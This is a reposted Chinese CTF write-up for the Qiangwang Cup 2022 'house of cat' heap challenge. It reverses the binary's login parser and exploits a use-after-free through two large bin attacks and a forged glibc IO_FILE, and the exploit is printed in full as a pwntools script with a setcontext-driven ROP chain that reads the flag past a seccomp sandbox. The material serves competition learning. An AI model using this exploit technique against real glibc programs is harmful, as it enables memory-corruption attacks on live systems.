[PWN]强网杯2022 house of cat
2022/9/10 23:24:52
本文主要是介绍[PWN]强网杯2022 house of cat,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
IDA分析 一个初始化函数,然后进一个while循环,memset 一块空间往里面读入数据交给 sub_19D6 函数处理 初始化函数设置缓冲区,开了沙盒,然后把一个libc的地址存到bss段上,然后给变量 qword_4168 赋值为 64 sub_155E 函数把变量 qword_4168 的值64放到那个 libc 地址中 然后分配一块空间,读入数据,进到处理函数 sub_19D6 该函数如果 login 函数返回真则进入sub_1DF3 函数 login 函数 首先判断第一块空间里是否有 QWB 没有的话返回0,有的话,把 QW 去掉然后 B 换成空格 然后把first_memset用空格切割,第一块里面如果是 LOGIN 就把 second_memset + 8 的位置写上1 如果是DOG CAT ....就分别写上 2 3 .... first_memset 中的第二块必须要有 | 否则返回0,然后把第二块的值写到 second_memset 中 第三块必须是 r00t 否则返回0,这里的v5就是QWB后面的字符串,把QWB后面的字符串+5开始写到 second_memset + 16 中1 判断 v5 中是否有 QWXF 没有返回0,有把 QWX 写为0 ,F写为空格 所以要返回 1 ,first_memset 中必须要有QWB,QWB后面得有QWXF,然后通过空格分割 first_memset 第二块要有 | 第三块是r00t 然后看 sub_1DF3 函数,如果 second_memset + 8 是1 即first_memset 通过空格分割第一块是LOGIN ,而且 second_memset + 16 的位置是 admin 即从 QWB 开始 + 8 位置是 admin 则 dword_4040[0] 写入1,如果 second_memset + 8是3的话进入下面的循环 所以我们先输入 LOGIN | r00t QWBQWXF admin 将 dword_4040[0]写为1 然后把LOGIN 换成 CAT 进入下面的分支 然后后会把 second_memset + 16 的位置即 从QWB 开始 +8 的位置以 $ 分割,如果是dword_4014 即 0FFFFFFFF 就进入下面的分支 所以第二次我们输入 CAT | r00t QWBQWXF $\xff\xff\xff\xff 后面的话就是一个菜单题了 menu 函数可以看出程序实现了4个功能 我们一个个看,首先是add 通过calloc申请堆块,能申请0xF个且大小都为large chunk大小 然后是delete 存在 UAF漏洞 然后是 show 输出0x30大小 最后是mini_edit 可以修改0x30大小,然后可以修改两次 有 UAF 又有两次 edit ,即有两次large bin attack的机会 seccomp-tools 查看沙盒 只允许 getrandom / open / close / mmap / brk / exit_group / read / write 系统调用,且 read的时候 fd 必须为 0 所以可以先 close(0) 然后在 open ,这样拿到的fd就是0了 我们可以第一次 large bin attack 打 stderr 然后第二次 large bin attack 打 top_chunk 的size,最终进入 _malloc_assert 然后执行相关 IO 函数 首先我们看house of cat中利用的函数 _IO_wfile_seekoff ,如果说 was_writing 是true就会进入 _IO_switch_to_wget_mode 函数执行,所以这里 fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base 满足这个条件之后,进入 _IO_switch_to_wget_mode 函数 我们进入 _IO_switch_to_wget_mode 函数看到如果满足 fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base 则会去执行 _IO_WOVERFLOW(fp. WEOP) 函数 我们来看该函数的汇编代码, 所以可以构造如下io_file exp如下from pwn import * from LibcSearcher import * from pwncli import ShellcodeMall context.terminal = ['tmux', 'split', '-h'] # context.log_level = 'debug' context.os = 'linux' context.arch = 'amd64' binary = './house_of_cat' ip = '' port = 0 gs = ''' b _IO_switch_to_wget_mode c ''' sh = process(binary) # sh = remote(ip, port) elf = ELF(binary) libc = elf.libc # libc = ELF('./libc.so.6') ru = lambda x,drop = False : sh.recvuntil(x, drop) sn = lambda x : sh.send(x) rl = lambda : sh.recvline() sl = lambda x : sh.sendline(x) rv = lambda x : sh.recv(x) sa = lambda a,b : sh.sendafter(a,b) sla = lambda a,b : sh.sendlineafter(a,b) def int2bytes(num): return str(num).encode('utf-8') def malloc(idx, size, content): sa(b'mew mew mew~~~~~~', b'CAT | r00t QWBQWXF $\xff\xff\xff\xff') sla(b'plz input your cat choice:\n',int2bytes(1)) sla(b'plz input your cat idx:\n',int2bytes(idx)) sla(b'plz input your cat size:\n',int2bytes(size)) sa(b'plz input your content:\n',content) def edit(idx, content): sa(b'mew mew mew~~~~~~', b'CAT | r00t QWBQWXF $\xff\xff\xff\xff') sla(b'plz input your cat choice:\n', int2bytes(4)) sla(b'plz input your cat idx:\n',int2bytes(idx)) sa(b'plz input your content:\n', content) def free(idx): sa(b'mew mew mew~~~~~~', b'CAT | r00t QWBQWXF $\xff\xff\xff\xff') sla(b'plz input your cat choice:\n', int2bytes(2)) sla(b'plz input your cat idx:\n',int2bytes(idx)) def show(idx): sa(b'mew mew mew~~~~~~', b'CAT | r00t QWBQWXF $\xff\xff\xff\xff') sla(b'plz input your cat choice:\n', int2bytes(3)) sla(b'plz input your cat idx:\n',int2bytes(idx)) sa(b'mew mew mew~~~~~~', b'LOGIN | r00t QWBQWXF admin') malloc(0, 0x418, b'aaaa') malloc(1, 0x428, b'flag') malloc(2, 0x428, b'cccc') malloc(3, 0x418, b'dddd') free(0) free(2) show(0) rl() libc_base = u64(rv(8)) - 0x219ce0 heap_base = u64(rv(8)) - 0xae0 log.success('libc_base ==> ' + hex(libc_base)) log.success('heap_base ==> ' + hex(heap_base)) pop_rdi = libc_base + 0x2a3e5 pop_rsi = libc_base + 0x2be51 pop_rdx_r12 = libc_base + 0x11f497 pop_rcx = libc_base + 0x8c6bb ret = libc_base + 0x29cd6 pop_rax = libc_base + 0x45eb0 close_addr = libc_base + libc.sym['close'] open_addr = libc_base + libc.sym['open'] read_addr = libc_base + libc.sym['read'] write_addr = libc_base + libc.sym['write'] flag_addr = heap_base + 0x6c0 stderr_addr = libc_base + 0x21a860 top_chunk = heap_base + 0x31b0 io_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps'] vtable = io_wfile_jumps + 0x10 setcontext = libc_base + libc.sym['setcontext'] close=libc_base + libc.sym['close'] read=libc_base + libc.sym['read'] write=libc_base + libc.sym['write'] syscallret=libc_base + next(libc.search(asm('syscall\nret'))) log.success('io_wfile_jumps ==> ' + hex(io_wfile_jumps)) _wide_data = heap_base + 0x1340 rdx = _wide_data + 0x100 rax2 = heap_base + 0x1780 rop11 = rdx + 0xb0 io_file = b'' io_file = io_file.ljust(0x30, b'\x00') io_file = io_file.ljust(0x88, b'\x00') io_file += p64(heap_base + 0x6c0 + 0x100) io_file = io_file.ljust(0xa0, b'\x00') io_file += p64(_wide_data) io_file = io_file.ljust(0xd8, b'\x00') io_file += p64(vtable) malloc(4, 0x418, io_file[0x10:]) # IO_FILE pay = b'ppp' pay = pay.ljust(0x20, b'\x00') pay += p64(rdx) pay = pay.ljust(0xe0, b'\x00') pay += p64(rax2) pay = pay.ljust(0x100, b'\x00') # =======rdx======= pay += b'\x00' * 0xa0 pay += p64(rop11) pay += p64(ret) # ========rop========= pay += p64(pop_rdi) pay += p64(0) pay += p64(close_addr) pay += p64(pop_rdi) pay += p64(flag_addr) pay += p64(pop_rsi) pay += p64(0) pay += p64(pop_rax) pay += p64(2) pay += p64(syscallret) pay += p64(pop_rdi) pay += p64(0) pay += p64(pop_rsi) pay += p64(flag_addr) pay += p64(pop_rdx_r12) pay += p64(0x50) pay += p64(0) pay += p64(read_addr) pay += p64(pop_rdi) pay += p64(1) pay += p64(write_addr) malloc(5, 0x438, pay) # heapbase + 0x1340 edit(2, p64(libc_base + 0x21a0d0) * 2 + p64(heap_base + 0xae0) + p64(stderr_addr - 0x20)) free(4) malloc(6, 0x438, b'\x00' * 0x18 + p64(setcontext + 61)) # rax2 malloc(7, 0x458, b'hhhh') malloc(8, 0x468, b'a') malloc(9, 0x448, b'jjjj') malloc(10, 0x468, b'a') free(7) malloc(11, 0x468, b'kkkk') edit(7, p64(libc_base + 0x21a0e0) * 2 + p64(heap_base + 0x1bb0) + p64(top_chunk - 0x20 + 3)) free(9) gdb.attach(sh, gs) # pause() sa(b'mew mew mew~~~~~~', b'CAT | r00t QWBQWXF $\xff\xff\xff\xff') sla(b'plz input your cat choice:\n',int2bytes(1)) sla(b'plz input your cat idx:\n',int2bytes(12)) sla(b'plz input your cat size:\n',int2bytes(0x468)) sh.interactive() ''' 0x000000000002a3e5: pop rdi; ret; 0x000000000002be51: pop rsi; ret; 0x000000000011f497: pop rdx; pop r12; ret; 0x000000000008c6bb: pop rcx; ret; 0x0000000000029cd6: ret; 0x0000000000045eb0: pop rax; ret; '''
这篇关于[PWN]强网杯2022 house of cat的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-23增量更新怎么做?-icode9专业技术文章分享
- 2024-11-23压缩包加密方案有哪些?-icode9专业技术文章分享
- 2024-11-23用shell怎么写一个开机时自动同步远程仓库的代码?-icode9专业技术文章分享
- 2024-11-23webman可以同步自己的仓库吗?-icode9专业技术文章分享
- 2024-11-23在 Webman 中怎么判断是否有某命令进程正在运行?-icode9专业技术文章分享
- 2024-11-23如何重置new Swiper?-icode9专业技术文章分享
- 2024-11-23oss直传有什么好处?-icode9专业技术文章分享
- 2024-11-23如何将oss直传封装成一个组件在其他页面调用时都可以使用?-icode9专业技术文章分享
- 2024-11-23怎么使用laravel 11在代码里获取路由列表?-icode9专业技术文章分享
- 2024-11-22怎么实现ansible playbook 备份代码中命名包含时间戳功能?-icode9专业技术文章分享